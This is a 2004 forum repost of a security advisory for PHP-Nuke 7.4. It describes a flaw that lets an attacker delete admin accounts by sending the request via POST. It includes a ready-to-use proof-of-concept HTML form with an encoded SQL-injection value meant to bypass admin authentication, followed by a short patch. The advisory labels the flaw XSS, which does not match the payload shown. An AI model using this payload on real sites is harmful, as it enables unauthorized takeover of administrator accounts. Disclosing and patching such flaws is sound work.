Discussione: PHP-Nuke 7.4
Visualizza messaggio singolo
  #1 (permalink)  
Vecchio 06-09-2004, 07.44.43
serverplan serverplan non è connesso
Administrator
Amministratore
 
Data registrazione: 11-09-2002
Messaggi: 3,407
serverplan ha disabilitato la reputazione
Predefinito PHP-Nuke 7.4

Delete Admin Bug

- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to delete any Admin account
except God admin.
This bug is very old too but we can bypass the patch sending data
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
USERNAME: <input type="text" name="del_aid">

<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">


<input type="hidden" name="add_radminsuper" value="1">


<input type="hidden" name="op" value="deladminconf">
<input type="submit" name="Submit" value="Delete Admin">


</p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['op']) ) {
$op = $HTTP_GET_VARS['op'];
}

if ( !empty($HTTP_POST_VARS['op']) ) {
$op = $HTTP_POST_VARS['op'];
}

-) Note

There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[op] and $_GET[op].
Rispondi citando